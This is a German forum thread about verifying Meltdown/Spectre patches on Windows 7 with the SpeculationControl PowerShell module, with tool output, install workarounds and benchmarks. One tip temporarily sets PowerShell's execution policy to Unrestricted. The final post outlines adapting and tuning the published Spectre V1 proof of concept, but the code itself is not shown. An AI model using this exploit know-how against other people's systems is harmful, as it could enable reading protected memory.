App installieren
How to install the app on iOS
Follow along with the video below to see how to install our site as a web app on your home screen.
Anmerkung: This feature may not be available in some browsers.
Du verwendest einen veralteten Browser. Es ist möglich, dass diese oder andere Websites nicht korrekt angezeigt werden.
Du solltest ein Upgrade durchführen oder ein alternativer Browser verwenden.
Du solltest ein Upgrade durchführen oder ein alternativer Browser verwenden.
Meltdown/Spectre Powershell Verifikation Windows 7
- Ersteller Complicated
- Erstellt am
Pinnacle Ridge
Vice Admiral Special
- Mitglied seit
- 04.03.2017
- Beiträge
- 528
- Renomée
- 7
PS C:\Windows\system32> Find-Module -Name SpeculationControl -MinimumVersion 1.0.0
Version Name Repository Description
------- ---- ---------- -----------
1.0.2 SpeculationControl PSGallery This module provides the ability to query the spe...
PS C:\Windows\system32>
Eventuell Lust und Zeit es mit TeamViewer zu probieren?
Version Name Repository Description
------- ---- ---------- -----------
1.0.2 SpeculationControl PSGallery This module provides the ability to query the spe...
PS C:\Windows\system32>
Eventuell Lust und Zeit es mit TeamViewer zu probieren?
Zuletzt bearbeitet:
Complicated
Grand Admiral Special
★ Themenstarter ★
- Mitglied seit
- 08.10.2010
- Beiträge
- 4.984
- Renomée
- 461
- Mein Laptop
- Lenovo T15, Lenovo S540
- Prozessor
- AMD Ryzen 7 3700X
- Mainboard
- MSI X570-A PRO
- Kühlung
- Scythe Kama Angle - passiv
- Speicher
- 32 GB (4x 8 GB) G.Skill TridentZ Neo DDR4-3600 CL16-19-19-39
- Grafikprozessor
- Sapphire Radeon RX 5700 Pulse 8GB PCIe 4.0
- Display
- 27", Lenovo, 2560x1440
- SSD
- 1 TB Gigabyte AORUS M.2 PCIe 4.0 x4 NVMe 1.3
- HDD
- 2 TB WD Caviar Green EADS, NAS QNAP
- Optisches Laufwerk
- Samsung SH-223L
- Gehäuse
- Lian Li PC-B25BF
- Netzteil
- Corsair RM550X ATX Modular (80+Gold) 550 Watt
- Betriebssystem
- Win 10 Pro.
Zu Frage 1:
Das ist mir entgangen, und natürlich sollte die neueste Version installiert werden. Somit wird 5.1 im Startbeitrag die Version 5.0 ersetzten.
Zu Frage 2:
Die Zip Datei enthält die msu Datei und eine weitere Powershell-Script Datei als Installer. Hier scheint Microsoft Powershell Usern zusätzliche Möglichkeiten zu bieten (Wohl vor allem für eine Remote Installation)
Danke dir für den Hinweis.
Das ist mir entgangen, und natürlich sollte die neueste Version installiert werden. Somit wird 5.1 im Startbeitrag die Version 5.0 ersetzten.
Zu Frage 2:
Die Zip Datei enthält die msu Datei und eine weitere Powershell-Script Datei als Installer. Hier scheint Microsoft Powershell Usern zusätzliche Möglichkeiten zu bieten (Wohl vor allem für eine Remote Installation)
Danke dir für den Hinweis.
Zuletzt bearbeitet:
WindHund
Grand Admiral Special
- Mitglied seit
- 30.01.2008
- Beiträge
- 12.242
- Renomée
- 541
- Standort
- Im wilden Süden (0711)
- Mitglied der Planet 3DNow! Kavallerie!
- Aktuelle Projekte
- NumberFields@home
- Lieblingsprojekt
- none, try all
- Meine Systeme
- RYZEN R9 3900XT @ ASRock Taichi X570 & ASUS RX Vega64
- BOINC-Statistiken
- Prozessor
- AMD Ryzen 9 5950X
- Mainboard
- ASRock 570X Taichi P5.05 Certified
- Kühlung
- AlphaCool Eisblock XPX, 366x40mm Radiator 6l Brutto m³
- Speicher
- 2x 16 GiB DDR4-3600 CL26 Kingston (Dual Rank, unbuffered ECC)
- Grafikprozessor
- 1x ASRock Radeon RX 6950XT Formula OC 16GByte GDDR6 VRAM
- Display
- SAMSUNG Neo QLED QN92BA 43" up to 4K@144Hz FreeSync PP HDR10+
- SSD
- WD_Black SN850 PCI-Express 4.0 NVME
- HDD
- 3 Stück
- Optisches Laufwerk
- 1x HL-DT-ST BD-RE BH10LS30 SATA2
- Soundkarte
- HD Audio (onboard)
- Gehäuse
- SF-2000 Big Tower
- Netzteil
- Corsair RM1000X (80+ Gold)
- Tastatur
- Habe ich
- Maus
- Han I
- Betriebssystem
- Windows 10 x64 Professional (up to date!)
- Webbrowser
- @Chrome.Google & Edge Chrome
Bei mir musste ich bei Windows 10 Pro 64 Bit mit PS 5.1 auch zwei mal mit "J" bestätigen, danach lief das Script durch.
http://abload.de/img/spectrecheck_os9vuqz.jpg
Ein Bios Update wird es für mein Board nicht mehr geben, dafür sind aber die UEFI SecureBoot Schlüssel geladen:
http://abload.de/img/180107112459zjsqq.png
http://abload.de/img/180107112534cnsi8.png
Sowie ECC aktiv um provozierte Bit-Flips abzufangen.
€dit: Browser konfigurieren: https://thehackernews.com/2018/01/meltdown-spectre-patches.html
http://abload.de/img/spectrecheck_os9vuqz.jpg
Ein Bios Update wird es für mein Board nicht mehr geben, dafür sind aber die UEFI SecureBoot Schlüssel geladen:
http://abload.de/img/180107112459zjsqq.png
http://abload.de/img/180107112534cnsi8.png
Sowie ECC aktiv um provozierte Bit-Flips abzufangen.
€dit: Browser konfigurieren: https://thehackernews.com/2018/01/meltdown-spectre-patches.html
Zuletzt bearbeitet:
Complicated
Grand Admiral Special
★ Themenstarter ★
- Mitglied seit
- 08.10.2010
- Beiträge
- 4.984
- Renomée
- 461
- Mein Laptop
- Lenovo T15, Lenovo S540
- Prozessor
- AMD Ryzen 7 3700X
- Mainboard
- MSI X570-A PRO
- Kühlung
- Scythe Kama Angle - passiv
- Speicher
- 32 GB (4x 8 GB) G.Skill TridentZ Neo DDR4-3600 CL16-19-19-39
- Grafikprozessor
- Sapphire Radeon RX 5700 Pulse 8GB PCIe 4.0
- Display
- 27", Lenovo, 2560x1440
- SSD
- 1 TB Gigabyte AORUS M.2 PCIe 4.0 x4 NVMe 1.3
- HDD
- 2 TB WD Caviar Green EADS, NAS QNAP
- Optisches Laufwerk
- Samsung SH-223L
- Gehäuse
- Lian Li PC-B25BF
- Netzteil
- Corsair RM550X ATX Modular (80+Gold) 550 Watt
- Betriebssystem
- Win 10 Pro.
Bitte solche Links in errates Linksammlung posten. Hier ist das Offtopic, da es lediglich um das Powershell Tool geht.€dit: Browser konfigurieren: https://thehackernews.com/2018/01/meltdown-spectre-patches.html
Allerdings ist der letzte Link von dir so gespickt mit Fehlern und falschen Informationen, dass ich es lieber nicht verlinken würde und es auch besser wäre du löschst ihn wieder.
Vor allem die Behauptung Windows 7 würde erst am 9. Januar gepatcht ist falsch, wie du ja unschwer an diesem Thread erkennen kannst.
Ganz nebenbei hat auch ECC und der Schutz vor Bit-Flips nichts mit den Meltdown oder Spectre Exploits zu tun und bietet keinerlei zusätzlichen Schutz beim auslesen der branch prediction im TLB oder Cache der CPU.
WindHund
Grand Admiral Special
- Mitglied seit
- 30.01.2008
- Beiträge
- 12.242
- Renomée
- 541
- Standort
- Im wilden Süden (0711)
- Mitglied der Planet 3DNow! Kavallerie!
- Aktuelle Projekte
- NumberFields@home
- Lieblingsprojekt
- none, try all
- Meine Systeme
- RYZEN R9 3900XT @ ASRock Taichi X570 & ASUS RX Vega64
- BOINC-Statistiken
- Prozessor
- AMD Ryzen 9 5950X
- Mainboard
- ASRock 570X Taichi P5.05 Certified
- Kühlung
- AlphaCool Eisblock XPX, 366x40mm Radiator 6l Brutto m³
- Speicher
- 2x 16 GiB DDR4-3600 CL26 Kingston (Dual Rank, unbuffered ECC)
- Grafikprozessor
- 1x ASRock Radeon RX 6950XT Formula OC 16GByte GDDR6 VRAM
- Display
- SAMSUNG Neo QLED QN92BA 43" up to 4K@144Hz FreeSync PP HDR10+
- SSD
- WD_Black SN850 PCI-Express 4.0 NVME
- HDD
- 3 Stück
- Optisches Laufwerk
- 1x HL-DT-ST BD-RE BH10LS30 SATA2
- Soundkarte
- HD Audio (onboard)
- Gehäuse
- SF-2000 Big Tower
- Netzteil
- Corsair RM1000X (80+ Gold)
- Tastatur
- Habe ich
- Maus
- Han I
- Betriebssystem
- Windows 10 x64 Professional (up to date!)
- Webbrowser
- @Chrome.Google & Edge Chrome
Ja, die News ist ja auch vom Donnerstag 4 Januar, gut möglich das nun Win 7 & 8 auch versorgt sind.Bitte solche Links in errates Linksammlung posten. Hier ist das Offtopic, da es lediglich um das Powershell Tool geht.
Allerdings ist der letzte Link von dir so gespickt mit Fehlern und falschen Informationen, dass ich es lieber nicht verlinken würde und es auch besser wäre du löschst ihn wieder.
Vor allem die Behauptung Windows 7 würde erst am 9. Januar gepatcht ist falsch, wie du ja unschwer an diesem Thread erkennen kannst.
Ganz nebenbei hat auch ECC und der Schutz vor Bit-Flips nichts mit den Meltdown oder Spectre Exploits zu tun und bietet keinerlei zusätzlichen Schutz beim auslesen der branch prediction im TLB oder Cache der CPU.
Wie meinst du das mit ECC, der Rowhammer Effekt ist ja wohl bekannt?
https://de.wikipedia.org/wiki/Rowhammer
Complicated
Grand Admiral Special
★ Themenstarter ★
- Mitglied seit
- 08.10.2010
- Beiträge
- 4.984
- Renomée
- 461
- Mein Laptop
- Lenovo T15, Lenovo S540
- Prozessor
- AMD Ryzen 7 3700X
- Mainboard
- MSI X570-A PRO
- Kühlung
- Scythe Kama Angle - passiv
- Speicher
- 32 GB (4x 8 GB) G.Skill TridentZ Neo DDR4-3600 CL16-19-19-39
- Grafikprozessor
- Sapphire Radeon RX 5700 Pulse 8GB PCIe 4.0
- Display
- 27", Lenovo, 2560x1440
- SSD
- 1 TB Gigabyte AORUS M.2 PCIe 4.0 x4 NVMe 1.3
- HDD
- 2 TB WD Caviar Green EADS, NAS QNAP
- Optisches Laufwerk
- Samsung SH-223L
- Gehäuse
- Lian Li PC-B25BF
- Netzteil
- Corsair RM550X ATX Modular (80+Gold) 550 Watt
- Betriebssystem
- Win 10 Pro.
Nur hat Rowhammer nichts mit Meltdown und Spectre zu tun, welche hier thematisiert werden. Es ist ein völlig anderer Exploit und für die hier besprochenen ist ECC irrelevant.
Rowhammer liest nicht aus TLB und Cache, sondern aus benachbarten RAM-Zellen ohne die selben Privilegien. Rawhammer hat auch nichts mit der branch prediction zu tun, welche in der CPU stattfindet, sondern attackiert den verbauten RAM.
Meltdown und Spectre sind auf dem System im selben Maße ausnutzbar unabhängig davon ob ECC verbaut ist oder nicht. Der Exploit findet im Cache/TLB der CPU statt.
Rowhammer liest nicht aus TLB und Cache, sondern aus benachbarten RAM-Zellen ohne die selben Privilegien. Rawhammer hat auch nichts mit der branch prediction zu tun, welche in der CPU stattfindet, sondern attackiert den verbauten RAM.
Meltdown und Spectre sind auf dem System im selben Maße ausnutzbar unabhängig davon ob ECC verbaut ist oder nicht. Der Exploit findet im Cache/TLB der CPU statt.
WindHund
Grand Admiral Special
- Mitglied seit
- 30.01.2008
- Beiträge
- 12.242
- Renomée
- 541
- Standort
- Im wilden Süden (0711)
- Mitglied der Planet 3DNow! Kavallerie!
- Aktuelle Projekte
- NumberFields@home
- Lieblingsprojekt
- none, try all
- Meine Systeme
- RYZEN R9 3900XT @ ASRock Taichi X570 & ASUS RX Vega64
- BOINC-Statistiken
- Prozessor
- AMD Ryzen 9 5950X
- Mainboard
- ASRock 570X Taichi P5.05 Certified
- Kühlung
- AlphaCool Eisblock XPX, 366x40mm Radiator 6l Brutto m³
- Speicher
- 2x 16 GiB DDR4-3600 CL26 Kingston (Dual Rank, unbuffered ECC)
- Grafikprozessor
- 1x ASRock Radeon RX 6950XT Formula OC 16GByte GDDR6 VRAM
- Display
- SAMSUNG Neo QLED QN92BA 43" up to 4K@144Hz FreeSync PP HDR10+
- SSD
- WD_Black SN850 PCI-Express 4.0 NVME
- HDD
- 3 Stück
- Optisches Laufwerk
- 1x HL-DT-ST BD-RE BH10LS30 SATA2
- Soundkarte
- HD Audio (onboard)
- Gehäuse
- SF-2000 Big Tower
- Netzteil
- Corsair RM1000X (80+ Gold)
- Tastatur
- Habe ich
- Maus
- Han I
- Betriebssystem
- Windows 10 x64 Professional (up to date!)
- Webbrowser
- @Chrome.Google & Edge Chrome
Danke, so hätte ich es jetzt auch verstanden.Nur hat Rowhammer nichts mit Meltdown und Spectre zu tun, welche hier thematisiert werden. Es ist ein völlig anderer Exploit und für die hier besprochenen ist ECC irrelevant.
Rowhammer liest nicht aus TLB und Cache, sondern aus benachbarten RAM-Zellen ohne die selben Privilegien. Rawhammer hat auch nichts mit der branch prediction zu tun, welche in der CPU stattfindet, sondern attackiert den verbauten RAM.
Meltdown und Spectre sind auf dem System im selben Maße ausnutzbar unabhängig davon ob ECC verbaut ist oder nicht. Der Exploit findet im Cache/TLB der CPU statt.
Also bis auf Meltdown ist AMD auch betroffen sofern nicht gepatchte 3rd Party Software genutzt wird?
Atombossler
Admiral Special
- Mitglied seit
- 28.04.2013
- Beiträge
- 1.423
- Renomée
- 65
- Standort
- Andere Sphären
- Mein Laptop
- Thinkpad 8
- Prozessor
- A8-7600@3.25Ghz
- Mainboard
- Asus A88X-PRO
- Kühlung
- NoFan CR80 EH
- Speicher
- 16Gb G-Skill Trident-X DDR3 2400
- Grafikprozessor
- APU
- Display
- Acer UHD 4K2K
- SSD
- Samsung 850 PRO
- HDD
- 2xSamsung 1TB HDD (2,5")
- Optisches Laufwerk
- Plexi BD-RW
- Soundkarte
- OnBoard Geraffel
- Gehäuse
- Define R2
- Netzteil
- BeQuiet
- Betriebssystem
- Win7x64-PRO
- Webbrowser
- Chrome
Hotstepper
Vice Admiral Special
- Mitglied seit
- 12.04.2005
- Beiträge
- 831
- Renomée
- 117
So siehts auf meinem Sys aus:
Ich hab allerdings 10% FPS in ArmA3 verloren laut YAAB
Ich hab allerdings 10% FPS in ArmA3 verloren laut YAAB
Aber nicht durch das Windows-Update, denn es ist bei dir ja nicht aktiv....
Ich hab allerdings 10% FPS in ArmA3 verloren laut YAAB
sjrothe
Vice Admiral Special
- Mitglied seit
- 19.06.2002
- Beiträge
- 574
- Renomée
- 61
- Standort
- Dresden
- Mein Laptop
- RedmiBook16 R7 4700U 16GB // E7222 (HM76 16GB i7 3610QM SSD+M9T)
- Prozessor
- Ryzen 5 4650 pro // Opteron 3280 // XEON E3-1270
- Mainboard
- Gigabyte B450 Gaming X // Fujitsu //Asrock Z68 Extreme3 Gen3
- Kühlung
- Thermalright AXP-200 Muscle - passte gerade so... // Stock
- Speicher
- 2x16GB DDR4 3600// 2x 8GB DDR3-1600 // 4x 8GB DDR3-1600
- Grafikprozessor
- MSI RX570 8GB // GT520 1GB
- Display
- 2x Dell 24" 1200p + 50" 4K TV
- SSD
- Crucial P5, MX500, MX300 und M500
- HDD
- Hitachi, Toshiba, Samsung, WD aber von Seagate nur ne SSHD
- Optisches Laufwerk
- Pioneer DVR-220, LG CH08LS10 Blu-ray SuperMulti liest nur noch BluRay // --
- Gehäuse
- LIAN LI PC-7FN // Fujitsu MX130 S2
- Netzteil
- TruePowerNew TP550, DANKE ANTEC // Fujitsu 250W
- Betriebssystem
- Windows 10 und besser also Linux ;-)
- Webbrowser
- Firefox + Chromium + Opera
- Verschiedenes
- XBOX360 Controller+ HD-DVD-ROM, 386DX+387,Compaq 486 SX2, Toshiba Sat.220CS, Vobis Pentium Pro
Ich habe hier auch diese blaue Zeile am Ende, diese sagt:
Windows OS Support for PCID performance optimization is enabled: False [not required for security]
Sandy Bridge Xeon E3 1270 auf Z68Gen3 mit Win7 Pro - Windows Security Update 2018/01 installiert
Nachtrag: GIF statt JPG eingefügt zur besseren Lesbarkeit
Momentan fühle ich mich durch die Schandtaten Intels genauso um eines meiner Lieblingsspielzeuge enteignet wie damals als die Steuern für mein erstes Auto in etwa verdreifacht wurden, weil es keinen geregelten Katalysator hatte und auch im Zubehörhandel keiner kaufbar war.
Windows OS Support for PCID performance optimization is enabled: False [not required for security]
Sandy Bridge Xeon E3 1270 auf Z68Gen3 mit Win7 Pro - Windows Security Update 2018/01 installiert
Nachtrag: GIF statt JPG eingefügt zur besseren Lesbarkeit
Momentan fühle ich mich durch die Schandtaten Intels genauso um eines meiner Lieblingsspielzeuge enteignet wie damals als die Steuern für mein erstes Auto in etwa verdreifacht wurden, weil es keinen geregelten Katalysator hatte und auch im Zubehörhandel keiner kaufbar war.
Anhänge
Zuletzt bearbeitet:
Complicated
Grand Admiral Special
★ Themenstarter ★
- Mitglied seit
- 08.10.2010
- Beiträge
- 4.984
- Renomée
- 461
- Mein Laptop
- Lenovo T15, Lenovo S540
- Prozessor
- AMD Ryzen 7 3700X
- Mainboard
- MSI X570-A PRO
- Kühlung
- Scythe Kama Angle - passiv
- Speicher
- 32 GB (4x 8 GB) G.Skill TridentZ Neo DDR4-3600 CL16-19-19-39
- Grafikprozessor
- Sapphire Radeon RX 5700 Pulse 8GB PCIe 4.0
- Display
- 27", Lenovo, 2560x1440
- SSD
- 1 TB Gigabyte AORUS M.2 PCIe 4.0 x4 NVMe 1.3
- HDD
- 2 TB WD Caviar Green EADS, NAS QNAP
- Optisches Laufwerk
- Samsung SH-223L
- Gehäuse
- Lian Li PC-B25BF
- Netzteil
- Corsair RM550X ATX Modular (80+Gold) 550 Watt
- Betriebssystem
- Win 10 Pro.
Ach ja das hatte errate ja auch.Ich habe hier auch diese blaue Zeile am Ende, diese sagt:
Windows OS Support for PCID performance optimization is enabled: False [not required for security]
Das ist die Aktivierung von Process-Context Identifiers (PCID) bei CPUs neuer als Skylake. Dieses Feature soll den Performanceverlust bei diesem Patch reduzieren. Es existiert auch noch INVPCID (Invalidate Process-Context Identifier), was darauf aufsetzt.
http://hypervsir.blogspot.de/2014/11/improve-performance-for-separating.html
To assisting in OS software programing, the new instruction INVPCID (Invalidate Process-Context Identifier) also is introduced to invalidate mappings in the translation lookaside buffers (TLBs) and paging-structure caches based on process context identifier (PCID). It is kind of like INVEPT and INVVPID in Intel Virtualization technology, the former is to invalidate information cached from the EPT paging structures, and the later is to invalidates mappings in the translation lookaside buffers (TLBs) and paging-structure caches based on Virtual Processor Identifier (VPID).
deoroller
Grand Admiral Special
....
Zuletzt bearbeitet:
TAL9000
Grand Admiral Special
- Mitglied seit
- 20.03.2007
- Beiträge
- 5.946
- Renomée
- 659
- Standort
- nähe Giessen
- Mitglied der Planet 3DNow! Kavallerie!
- Aktuelle Projekte
- was halt so geht, bervozuge aber Bio/Physik/Astronomie Projekte
- Lieblingsprojekt
- SIMAP, danach kam mMn nichts mehr direkt produktives
- Meine Systeme
- Ryzen 3700X; 4650G; Radeon RX6950XT; RX6500XT
- BOINC-Statistiken
- Folding@Home-Statistiken
- Mein Laptop
- Fujitsu LifeBook E546 FJNB291
- Prozessor
- AMD Ryzen 7 3700X // Ryzen 5 4650G // Intel Core i7-3770 + i5-3570K
- Mainboard
- MSI B350 PC Mate // ASRock A300-STX // 2x Intel DH77EB
- Kühlung
- Arctic Liquid Freezer 240 + 2x SilverStone FW121 // Noctua NH-L9a // AC Freezer 7 // Intel E41759
- Speicher
- 2x16GB DDR4-3200 // 2x8GB DDR4-3200 // 2x8GB DDR3-1600 // 4x4GB DDR3-1600
- Grafikprozessor
- PowerColor Radeon RX 6950 XT Red Devil 16G // AMD IGP // Sapphire Pulse RX 6500 XT 4G // Intel IGP
- Display
- 24" Lenovo ThinkVision LT2452p 1920x1200
- SSD
- WD_BLACK SN750 500GB // Transcend MTE110S 256GB // Canvas SL308 250GB // Crucial MX500 250GB
- HDD
- MG06ACA800E 8TB // Z5K1000 1TB // HDWA120EZSTA 2TB // HD153UI 1,5TB
- Optisches Laufwerk
- - // - // LiteOn iHAS120 DVD-RW // LG DVD-RW
- Soundkarte
- OnBoard
- Gehäuse
- Enermax iVektor schwarz // AsRock DeskMini // Chenbro PC31031 // TFX Desktop
- Netzteil
- be quiet! Dark Power Pro 11 650W // ex 19V // FSP Hexa 85+ Pro 450W // Seasonic SS-300TFX
- Tastatur
- Qpad 3202-MK85 Cherry MX-Brown
- Maus
- VERTI WM25
- Betriebssystem
- Win10pro x64 // Ubuntu Xfce (Mint) // Win10pro x64 // Ubuntu Xfce (Mint)
- Webbrowser
- Firefox
- Verschiedenes
- Danke thorsam & JagDoc, KVM ATEN CS1764 4-fach Desktop , USV 2xAPC BR900GI, NAS QNAP TS-431P2-8G + TS-462-16G je 4x4TB
- Internetanbindung
-
▼50 MBit
▲10 MBit
Tja mein altes Spiele System hat dies:
Intel Core i5-2320 auf Fujitsu Desktop Board D2990-A14
Bezweifle das ich da was von Fujitsu noch bekomme, mal schauen ob es später einen funktionieren Workaround gibt, das Mikrocodeupdate vor dem Start von Win7 zu laden. Im Bios selber das rein zu flashen traue ich mir nicht mehr zu. Specter sehe ich als zu Speziell an, als das cih mir wirklich Sorgen mache, abder glücklich bin ich nicht darüber.
Benchmark vergleiche kann ich aktuell nicht liefern, außer einen der wahrscheinlich am wenigsten sagt:
Cryptonight Mining CPU
vorher 0110 H/s : Intel Core i5-2320 @Stock mit xmr-stak-cpu (4T, prefetch:true, Mem-Lock failed) unter Windows 7 x64
nachher 0105 H/s : Intel Core i5-2320 @Stock mit xmr-stak-cpu (4T, prefetch:true, Mem-Lock failed) unter Windows 7 x64
vorher 0180 H/s : Intel Core i5-2320 @Stock mit xmrig (3T, mit Large Pages) unter Windows 7 x64
nachher 0174 H/s : Intel Core i5-2320 @Stock mit xmrig (3T, mit Large Pages) unter Windows 7 x64
Code:
PS C:\Windows\system32> Get-SpeculationControlSettings
Speculation control settings for CVE-2017-5715 [branch target injection]
For more information about the output below, please refer to https://support.microsoft.com/en-in/help/4074629
Hardware support for branch target injection mitigation is present: False
Windows OS support for branch target injection mitigation is present: True
Windows OS support for branch target injection mitigation is enabled: False
Windows OS support for branch target injection mitigation is disabled by system
policy: False
Windows OS support for branch target injection mitigation is disabled by absence of hardware support: True
Speculation control settings for CVE-2017-5754 [rogue data cache load]
Hardware requires kernel VA shadowing: True
Windows OS support for kernel VA shadow is present: True
Windows OS support for kernel VA shadow is enabled: True
Windows OS support for PCID performance optimization is enabled: False [not required for security]
Suggested actions
* Install BIOS/firmware update provided by your device OEM that enables hardware support for the branch target injection mitigation.
BTIHardwarePresent : False
BTIWindowsSupportPresent : True
BTIWindowsSupportEnabled : False
BTIDisabledBySystemPolicy : False
BTIDisabledByNoHardwareSupport : True
KVAShadowRequired : True
KVAShadowWindowsSupportPresent : True
KVAShadowWindowsSupportEnabled : True
KVAShadowPcidEnabled : False
Intel Core i5-2320 auf Fujitsu Desktop Board D2990-A14
Bezweifle das ich da was von Fujitsu noch bekomme, mal schauen ob es später einen funktionieren Workaround gibt, das Mikrocodeupdate vor dem Start von Win7 zu laden. Im Bios selber das rein zu flashen traue ich mir nicht mehr zu. Specter sehe ich als zu Speziell an, als das cih mir wirklich Sorgen mache, abder glücklich bin ich nicht darüber.
Benchmark vergleiche kann ich aktuell nicht liefern, außer einen der wahrscheinlich am wenigsten sagt:
Cryptonight Mining CPU
vorher 0110 H/s : Intel Core i5-2320 @Stock mit xmr-stak-cpu (4T, prefetch:true, Mem-Lock failed) unter Windows 7 x64
nachher 0105 H/s : Intel Core i5-2320 @Stock mit xmr-stak-cpu (4T, prefetch:true, Mem-Lock failed) unter Windows 7 x64
vorher 0180 H/s : Intel Core i5-2320 @Stock mit xmrig (3T, mit Large Pages) unter Windows 7 x64
nachher 0174 H/s : Intel Core i5-2320 @Stock mit xmrig (3T, mit Large Pages) unter Windows 7 x64
Zuletzt bearbeitet:
eratte
Redaktion
☆☆☆☆☆☆
- Mitglied seit
- 11.11.2001
- Beiträge
- 23.199
- Renomée
- 3.298
- Standort
- Rheinberg / NRW
- Mitglied der Planet 3DNow! Kavallerie!
- Aktuelle Projekte
- YoYo, Collatz
- Lieblingsprojekt
- YoYo
- Meine Systeme
- Wegen der aktuellen Lage alles aus.
- BOINC-Statistiken
- Mein Laptop
- HP EliteBook 865 G9 / ASUS ZenBook 14X OLED UM5401RA-L7024W
- Prozessor
- Ryzen R9 7950X
- Mainboard
- ASUS ROG Crosshair X670E Hero
- Kühlung
- Noctua NH-D15
- Speicher
- 2 x 32 GB G.Skill Trident Z DDR5 6000 CL30-40-40-96
- Grafikprozessor
- Sapphire Radeon RX7900XTX Gaming OC Nitro+
- Display
- 2 x ASUS XG27AQ (2560x1440@144 Hz)
- SSD
- Samsung 980 Pro 1 TB & Lexar NM790 4 TB
- Optisches Laufwerk
- USB Blu-Ray Brenner
- Soundkarte
- Onboard
- Gehäuse
- NEXT H7 Flow Schwarz
- Netzteil
- Corsair HX1000 (80+ Platinum)
- Tastatur
- ASUS ROG Strix Scope RX TKL Wireless / 2. Rechner&Server: ASUS Falchion
- Maus
- ROG Gladius III Wireless / 2. Rechner&Server: Rival 300
- Betriebssystem
- Windows 11 Pro 64
- Webbrowser
- Firefox
- Verschiedenes
- 4 x BQ Light Wings 14. 1 x NF-A14 Noctua Lüfter. ASUS Delta S Wirelesss Headset .
- Internetanbindung
- ▼VDSL 100 ▲VDSL 100
In der Liste der betroffenen Produkte wird es bisher nicht aufgeführt von Fujitsu.
Complicated
Grand Admiral Special
★ Themenstarter ★
- Mitglied seit
- 08.10.2010
- Beiträge
- 4.984
- Renomée
- 461
- Mein Laptop
- Lenovo T15, Lenovo S540
- Prozessor
- AMD Ryzen 7 3700X
- Mainboard
- MSI X570-A PRO
- Kühlung
- Scythe Kama Angle - passiv
- Speicher
- 32 GB (4x 8 GB) G.Skill TridentZ Neo DDR4-3600 CL16-19-19-39
- Grafikprozessor
- Sapphire Radeon RX 5700 Pulse 8GB PCIe 4.0
- Display
- 27", Lenovo, 2560x1440
- SSD
- 1 TB Gigabyte AORUS M.2 PCIe 4.0 x4 NVMe 1.3
- HDD
- 2 TB WD Caviar Green EADS, NAS QNAP
- Optisches Laufwerk
- Samsung SH-223L
- Gehäuse
- Lian Li PC-B25BF
- Netzteil
- Corsair RM550X ATX Modular (80+Gold) 550 Watt
- Betriebssystem
- Win 10 Pro.
Hier war jemand aus dem 3DCenter erfolgreich damit das selbe Problem zu beheben wie es Pinnacle Ridge hat:
der Tipp aus dem Forum von Planet 3dNow! die nuget.exe manuell herunterzuladen und in den Ordner C:\Program Files\PackageManagement\nuget\nuget.exe zu kopieren hat funktioniert. Nach der Eingabe von Install-Module SpeculationControl wurde nuget durch die PowerShell installiert und das Script läuft. Das Tool von Ashampoo funktioniert jetzt auch, es bedient sich ja der selben Vorgehensweise wie das Script von Microsoft. Der User "Pinnacle Ridge" war ja soweit das das Modul installiert wurde, aber er kann die Settings nicht abrufen. Keine Ahnung warum das so ist.
@Windhund: Auf der Raspberry-Pi-Seite gibt es eine sehr schöne und anschauliche Erklärung für den prinzipiellen Angriffsmechanismus von Spectre/Meltdown:
https://www.raspberrypi.org/blog/why-raspberry-pi-isnt-vulnerable-to-spectre-or-meltdown/
https://www.raspberrypi.org/blog/why-raspberry-pi-isnt-vulnerable-to-spectre-or-meltdown/
Complicated
Grand Admiral Special
★ Themenstarter ★
- Mitglied seit
- 08.10.2010
- Beiträge
- 4.984
- Renomée
- 461
- Mein Laptop
- Lenovo T15, Lenovo S540
- Prozessor
- AMD Ryzen 7 3700X
- Mainboard
- MSI X570-A PRO
- Kühlung
- Scythe Kama Angle - passiv
- Speicher
- 32 GB (4x 8 GB) G.Skill TridentZ Neo DDR4-3600 CL16-19-19-39
- Grafikprozessor
- Sapphire Radeon RX 5700 Pulse 8GB PCIe 4.0
- Display
- 27", Lenovo, 2560x1440
- SSD
- 1 TB Gigabyte AORUS M.2 PCIe 4.0 x4 NVMe 1.3
- HDD
- 2 TB WD Caviar Green EADS, NAS QNAP
- Optisches Laufwerk
- Samsung SH-223L
- Gehäuse
- Lian Li PC-B25BF
- Netzteil
- Corsair RM550X ATX Modular (80+Gold) 550 Watt
- Betriebssystem
- Win 10 Pro.
@Pinnacle Ridge
Hier ein weiterer Tipp aus dem 3Dcenter wie der Dialog gestoppt werden kann. Es registriert die richtigen Pfade mit Set-Location:
Hier ein weiterer Tipp aus dem 3Dcenter wie der Dialog gestoppt werden kann. Es registriert die richtigen Pfade mit Set-Location:
Code:
Save-Module -Name SpeculationControl
C:\Windows\System32\WindowsPowerShell\v1.0\Modules (the Path)
Set-Location C:\Windows\System32\WindowsPowerShell\v1.0\Modules
Set-ExecutionPolicy Unrestricted
Import-Module SpeculationControl
Set-ExecutionPolicy Restricted
Get-SpeculationControlSettings
Ich hatte heute etwas Zeit zum Spielen und haben versucht Spectre V1 (Bounds Check Bypass bzw. CVE-2017-5753) auf meinem AMD Bobcat zu verifizieren. Einen Beispielcode findet man im Appendix A folgender Veröffentlichung (maßgeblich finanziert mit EU-Geldern): "Spectre Attacks: Exploiting Speculative Execution" von Paul Kocher et al..
Ich habe hier keine Microsoft C-Entwicklungsumgebung sondern nur das kostenlose Code::blocks mit mingw für x86. Den Code musste ich ein klein wenig anpassen, damit das auch auf dem Freeware-Compiler läuft. Außerdem kann man jetzt das Cache-Hit-Delay einstellen. Vorher war ein Wert von 80 fest im Code (Einheit?). Das kann man jetzt beim Kommandozeilenaufruf mit vorgeben, wo da die Grenze liegt.
Das ganze ist von mir zugegeben ziemlich stümperhaft umgesetzt (bin kein Lowlevel-Programmierer, der für 10 % Geschwindigkeitszuwachs Assembler-Fragmente in seinen Code einbauen würde). Man führt die Exe von der Kommandozeile aus und übergibt drei Parameter. Der erste wird ignoriert (der stellt eigentlich die Speicheradresse ein, die "gehackt" werden soll). Der zweite stellt die Länge des auszulesenden Fragments ein und der dritte die Cache Hit Time (bzw. im Original den Cache Hit Threshold). Mit dem Dritten muss man etwas rumspielen, damit die Software überhaupt etwas im Cache-System findet. Zumindest bei mir.
Das ganze läuft auf einem Windows 7 32 Bit Professional mit einem AMD E-350 (Bobcat X2 @ 1,6 GHz).
Hier erstmal den Code für Codeblocks (als C-Projekt für die Kommandozeile):
Wenn man's mit Codeblocks kompilieren will, muss man noch die SSE2-Erweiterung aktivieren (bei mir über march für einen Core2Duo), sonst gibt es einen Compiler-Fehler.
